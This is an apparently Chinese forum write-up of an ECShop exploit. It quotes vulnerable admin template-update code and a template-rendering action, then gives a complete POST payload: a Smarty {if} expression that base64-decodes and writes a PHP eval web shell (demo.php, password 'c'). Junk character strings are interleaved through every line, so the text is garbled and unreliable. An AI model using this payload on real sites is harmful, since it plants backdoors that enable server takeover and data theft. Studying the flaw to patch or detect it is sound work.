首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
9 Q, g4 d; L' r0 a7 q" l! A3 c& J! J' W8 C& I' F$ U! w" |2 {
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了' z- }+ R8 h( m/ G% y; ]. j \- K
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码- M1 B% z6 n f/ v- _/ [9 m7 B
admin/template.php! i! _) V6 t' D
2 z& f* l4 }' i6 l1 if ($_REQUEST['act'] == 'update_library')
' ]7 B* r% u' K5 x' V$ L" Y
! f+ Q) V+ C1 g( T2 + n! \+ w/ M2 f. _1 l) b% [$ G
i7 I- G/ i, E+ v8 h* t2 L3 { 9 O+ i8 b+ ?5 h# v8 G3 f" B
0 {+ B& H _6 o4 check_authz_json('library_manage');
; Q5 t) i3 Z2 a+ f/ Z$ G
g; p, I# T9 I) P5 W P5 8 p& N- C& p* j
' V# r0 i3 C3 o: `+ W$ R
6 $html = stripslashes(json_str_iconv($_POST['html'])); ' A" m, _/ }, K
9 ]% @ J% C, u, `7 & F2 W1 G, J) G2 ^% f# w; e6 c2 Z
9 b f4 v2 n% O3 B6 u: d1 d1 }
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
3 C4 E, G0 Y) p v% a; \9 F
* k" v9 s1 x' y; ?1 y/ b4 f1 I! B9
! P+ A# c1 ]* x: Y" m4 d6 f6 c& G5 h3 p: }- f/ @/ K' _8 Y: Q1 C, G
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 7 m, L" ]$ y( W! a! ~
1 ~1 }3 c# c" h! s; o* t
11
% S( O' }0 L$ N, i/ D' \) a$ ~5 u6 t' ~. r: }* s/ p
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); . e2 e% G; L) z
* G* t; r9 W! [. D$ B6 T4 f
13 0 |3 Q$ ?" [( h0 C. L
' T% p( [7 r' O* R& Y6 Y14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 % E2 }- f. H9 }! z
; j% L0 [. h5 d; f
15 {
" J) [# [ U& V& X6 L) \7 r! o. F: P% {
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ! A& ~" x8 d8 u- c) N- X0 W
9 G) A6 @* F1 S, [1 x7 p* w. J6 K3 b
17 make_json_result('', $_LANG['update_lib_success']); 9 k8 `6 b/ N c7 \; X
& g, E, f* p0 @2 Y18 }
# P' X/ B4 E! m$ l; v$ w" o9 G4 V
2 {5 X0 x0 J2 \19 else 9 B$ Z" g" D6 D
! H# ], m* j! s1 H$ H7 n$ z4 v20 {
- N7 H" V, F, e$ `! B: U9 L0 W2 B( _
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 0 @. r1 X( s n
4 P; q/ O0 W7 ~+ M
22 }
2 s/ S5 f. g' z3 d4 E7 c; O! H9 \8 b; z" j7 {
23 }
5 i. h+ h- I- L' p1 d: W% p- K7 |( n$ X5 Y" N Y. V
那么找个比较方便调用了模板的文件4 b! q4 ` m# b3 G8 g( x0 g( H
index.php
7 @6 d }' B( t( t ]7 M( _- s: u5 }0 M- G
1 if ($act == 'cat_rec')
) z8 L1 O5 H& V+ d) j0 \" Y+ \$ b1 F8 F' c! L! m5 O8 c) x
2
7 ~8 q8 @/ f( X) f" S
6 }, b4 ~- V+ I) L& Y3 { 7 }' S6 _! I5 Y: H% G1 S* E
0 z3 ^) l' G- @! z* F
4
4 u3 _( p8 C+ f& Z# }9 Y) y$ h
5 ~. ~2 v/ p a8 ^5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
7 M; I- c5 l7 C8 R4 y3 f8 Q' x7 [: A0 T9 ~/ H6 `$ x
6 , ]6 ]! A) v. K1 E0 A1 S
% M! \" A; `' ?+ {* A/ k& I' f8 z7 I
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; - V" ^4 O6 Q8 I2 m3 m
( s% }7 V+ W7 ^- v7 q: a' J8 ) Y* \7 L% i/ |5 V
0 u% K9 f( s3 [! {
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; $ d) R4 i' u& L O) w" i2 Q# z
e2 t8 P! o- }' p7 P1 y& F/ z" d10
' ]2 {) Z" S) X7 _6 c U2 L# ^. ]4 \# u0 j, c
11 include_once('includes/cls_json.php');
# Q& J/ B( {% p2 Q( V" U7 k8 q3 S$ [) k. K# X' U: k4 `- s4 ]
12 ' S( P' o; L" t
- J2 q. ]2 t: V
13 $json = new JSON;
: D9 b& Y# c1 @) h5 b+ }/ W" j9 [1 c0 X8 K# E* g% i
14 ( {( g4 m- S2 ?8 }
) w' _. A' d# n4 Z% s15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
7 J( O- P3 V! f1 B1 t1 a1 k j. {9 |% ^
16 5 A Q+ D4 ^# \6 Y4 _6 h' K) Q! N, d
. z" Y9 \& G$ i
17 $children = get_children($cat_id); ( i, ^1 G. t$ Q
6 M" ^1 q7 Z% ^5 }$ y18 2 k' Q K) `. I) T
9 {0 F: @2 ]" E0 v8 x3 n$ m& M19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
# R | F# ?5 p& b* H$ P+ |' y- a, [6 A l i
20 # @: |) T; @4 o: i
# y/ @& g- h% q" g4 E21 $smarty->assign('cat_rec_sign', 1);
/ ^ z( Y W, O, {. Y& \2 j5 b# t" C! k6 r5 R8 Z$ Y6 ?9 r
22 9 k K: e* P/ p' Q- K# I8 p; C
2 L; l" |5 b# ?: L: y: P/ I$ B
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 7 e) j* O9 R7 }$ n
. K6 f# v! B, t( D! t# [% W2 v24 1 H- H7 F" }9 N$ v" m8 X
3 A# z Y9 [; _* ^: E2 Z
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
! I6 y$ l- {( `% T: B# B8 \% g) T D/ N/ Z
26
* W: u" x0 `. |% t/ O9 t. b) z+ O) Y+ m& O( O' ?( Z
27 echo $rec_array[$rec_type];
: n, R3 c u; X' a8 W
6 _, H( }4 x+ B, ^$ Y28
# Q1 ~9 f3 b- K
& Z7 y+ L, ?' M+ l! E29 die($json->encode($result)); : {7 H! B; _9 g
1 ~# ]( w' T3 Q2 W
30 1 c4 U0 i& W( N" C4 d) v! e
3 H; O$ x, {% e3 U; |, u0 _+ ~, v% ]31 } % \6 Z; e' v/ ?) K0 N. O3 w
4 d' J/ S7 S( Q4 }* D; A那么就有利用方法了
; K: u) E8 G3 U" W/ tpost包到http://localhost/ec/admin/template.php?act=update_library! j3 [' J7 E; v0 k( J' X
Post内容:
( n8 x" p3 X8 K8 E4 m# o
- p, t; L, F F9 C! q# b
9 h, D) i, j7 o! m' v; r1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} + x) e1 ~, J+ R, q8 G
. l3 _' x8 R% Y2 [' Z X8 E+ c
然后访问http://localhost/ec/index.php?act=cat_rec
/ b% K" m# d2 ?! |/ H
& t/ \ b$ u& J5 n' eshel地址:http://localhost/ec/demo.php
, Q0 ^% A5 Q9 J9 M' F( M密码c
) v( n9 z( o+ I5 R3 g6 D* P0 Q( z
" i# v- A4 E) T |